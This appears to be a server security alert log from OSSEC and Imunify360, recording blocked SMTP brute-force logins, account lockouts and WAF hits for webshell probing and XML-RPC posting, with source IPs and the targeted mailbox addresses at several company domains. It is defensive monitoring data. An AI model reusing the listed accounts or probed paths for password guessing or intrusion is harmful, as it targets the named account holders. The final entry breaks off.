name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:57:02 dovecot_login authenticator failed for H=(u33yy166ko) [158.94.208.175]:54949: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 22:57:06 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:46630: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 22:57:17 H=([167.148.167.71]) [167.148.167.71]:52917 F=<Server@ajplantations.com.my> rejected RCPT <spyong@ajplantations.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:57:23 dovecot_login authenticator failed for H=(fP6Ldi) [178.16.52.139]:58859: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 22:57:38 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:57:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50096: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:57:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:57:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:57:04 dovecot_login authenticator failed for H=(laDgNcZV) [178.16.54.22]:61036: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:57:05 dovecot_login authenticator failed for H=(Rjd2ek) [2.58.56.77]:65462: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:57:10 dovecot_login authenticator failed for H=(L6t4Xp) [178.16.54.22]:61834: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:58:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40458: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 22:58:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:58:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:58:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65355: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:58:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:58:22 dovecot_login authenticator failed for H=(bfVElr17jv) [158.94.208.175]:51092: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:58:07 dovecot_login authenticator failed for H=(7SdJkG) [178.16.52.139]:64908: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 22:58:09 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:52824: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:58:12 dovecot_login authenticator failed for H=(2bVkwhp96) [178.16.54.22]:59287: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:58:17 dovecot_login authenticator failed for H=(Wyfssusc) [2.58.56.77]:59331: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.142
country_id: 1814991
description:
2026-02-01 22:58:35 dovecot_login authenticator failed for H=([116.113.253.142]) [116.113.253.142]:53137: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 22:59:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:59:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58247: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:59:23 dovecot_login authenticator failed for H=(fKG7Qu) [2.58.56.77]:59001: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:59:06 dovecot_login authenticator failed for H=(VT9H4S9) [178.16.54.22]:57246: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:59:06 dovecot_login authenticator failed for H=(PRMJyZOLg) [178.16.52.139]:63449: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:59:14 dovecot_login authenticator failed for H=(94Vh2Mvn) [158.94.208.175]:54688: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:00:23 dovecot_login authenticator failed for H=(SbJ581G) [178.16.52.139]:51651: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:00:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55015: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:00:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53449: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:00:12 dovecot_login authenticator failed for H=(FklLlI) [2.58.56.77]:52459: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:00:13 dovecot_login authenticator failed for H=(Hu5KZ93H) [178.16.54.22]:64039: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:00:06 dovecot_login authenticator failed for H=(awrBKp60) [158.94.208.175]:60552: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 23:01:51 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:50968: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:01:05 dovecot_login authenticator failed for H=(Cfs18NCG) [178.16.52.139]:52418: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:01:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64709: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:01:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45642: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.151.216.111
country_id: 3469034
description:
2026-02-01 23:01:16 dovecot_login authenticator failed for H=(ADMIN) [179.151.216.111]:30320: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:01:02 dovecot_login authenticator failed for H=(NTg73Hgnpc) [178.16.54.22]:57432: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:01:21 dovecot_login authenticator failed for H=(0AgVH2) [2.58.56.77]:62239: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.178.134.91
country_id: 1269750
domain: box.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84445.box.my||ServerName:box.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8a4739c4c0a9bed14a9e2380d24f986a74b68830||Title:0xf23560ab||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:01:21 dovecot_login authenticator failed for H=(F3s902) [158.94.208.175]:56599: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:02:14 dovecot_login authenticator failed for H=(X2Nt1IKY) [178.16.54.22]:53387: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 23:02:22 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:41886: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:02:36 dovecot_login authenticator failed for H=(Q9ntdbd6Qh) [178.16.54.22]:64510: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:02:06 dovecot_login authenticator failed for H=(kxracLkX) [2.58.56.77]:55109: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:02:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60548: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:02:08 dovecot_login authenticator failed for H=(RaUcuJjKjg) [178.16.52.139]:60646: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:02:12 dovecot_login authenticator failed for H=(rZ49ooxi) [158.94.208.175]:62579: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:03:18 dovecot_login authenticator failed for H=(yERw8z) [2.58.56.77]:51100: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:03:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54917: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:03:21 dovecot_login authenticator failed for H=(nCGH0m6) [178.16.52.139]:50073: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:03:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.178.134.91
country_id: 1269750
domain: box.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:30494.box.com.my||ServerName:box.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:858157b80c831bac01b55328853d9fb496540067||Title:0xdc2b6e03||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:03:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:03:04 dovecot_login authenticator failed for H=(SIVDI6Yiv4) [158.94.208.175]:54628: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:03:05 dovecot_login authenticator failed for H=(1TeL8cnNUq) [178.16.54.22]:57903: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:03:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44648: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:04:06 dovecot_login authenticator failed for H=(CkCSfMpTU7) [2.58.56.77]:49636: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:04:14 dovecot_login authenticator failed for H=(tDRv1m) [178.16.54.22]:49654: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:04:21 dovecot_login authenticator failed for H=(0nwRV800Gy) [158.94.208.175]:55717: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:04:07 dovecot_login authenticator failed for H=(1dUpdV2) [178.16.52.139]:56533: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:04:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:04:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64920: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-02-01 23:04:35 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:42606: 535 Incorrect authentication data (set_id=enquiry@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:04:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.184.217.28
country_id: 1562822
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/approach.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:05:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58641: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:05:18 dovecot_login authenticator failed for H=(uriYBoYY) [2.58.56.77]:55476: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:05:19 dovecot_login authenticator failed for H=(HL9NlknwSf) [178.16.54.22]:64427: 535 Incorrect authentication data (set_id=alexchan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:05:22 dovecot_login authenticator failed for H=(W26kMh) [178.16.52.139]:58152: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:05:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:05:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52240: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:05:09 dovecot_login authenticator failed for H=(ccZ4x5o) [178.16.54.22]:60750: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:05:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:05:50 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@chs.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:05:36 dovecot_login authenticator failed for H=(j1BJdsfepZ) [158.94.208.175]:53690: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:06:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:06:06 dovecot_login authenticator failed for H=(r9vtZRWec) [2.58.56.77]:53492: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:06:19 dovecot_login authenticator failed for H=(VnBwDIxU) [178.16.54.22]:60176: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:06:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-02-01 23:06:30 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:57024: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.31.198
country_id: 1814991
description:
2026-02-01 23:06:34 dovecot_login authenticator failed for H=([60.166.31.198]) [60.166.31.198]:59345: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 23:06:44 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:59018: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:06:20 dovecot_login authenticator failed for H=(tQnpsr74u6) [178.16.52.139]:61649: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 23:06:33 H=([167.148.167.71]) [167.148.167.71]:59071 F=<Server@symphony-led.com> rejected RCPT <symphony@symphony-led.com>: smtp auth required


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:06:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@chs.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 23:06:25 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:57916: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:06:27 dovecot_login authenticator failed for H=(Sn1HYOdtV) [158.94.208.175]:53378: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.130
country_id: 1269750
description:
2026-02-01 23:06:03 dovecot_login authenticator failed for H=(nsg-corporate-130.230.187.122.airtel.in) [122.187.230.130]:38652: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:06:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55454: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 23:06:08 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:58382: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:07:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:07:19 dovecot_login authenticator failed for H=(VciTxqBZ9) [2.58.56.77]:52829: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:07:42 dovecot_login authenticator failed for H=(x5mDnb2bh) [178.16.54.22]:64784: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:07:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58274: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:07:10 dovecot_login authenticator failed for H=(yBAQqYXa) [178.16.54.22]:65333: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:07:19 dovecot_login authenticator failed for H=(mJX1tAcxy6) [158.94.208.175]:65112: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:07:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65474: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:07:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:07:11 dovecot_login authenticator failed for H=(jo2qGw) [178.16.52.139]:58923: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.93.84
country_id: 1269750
description:
2026-02-01 23:07:21 dovecot_login authenticator failed for H=([115.240.244.53]) [152.52.93.84]:10400: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-02-01 23:07:43 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:56135: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:07:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@chs.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.93.62.202
country_id: 2017370
description:
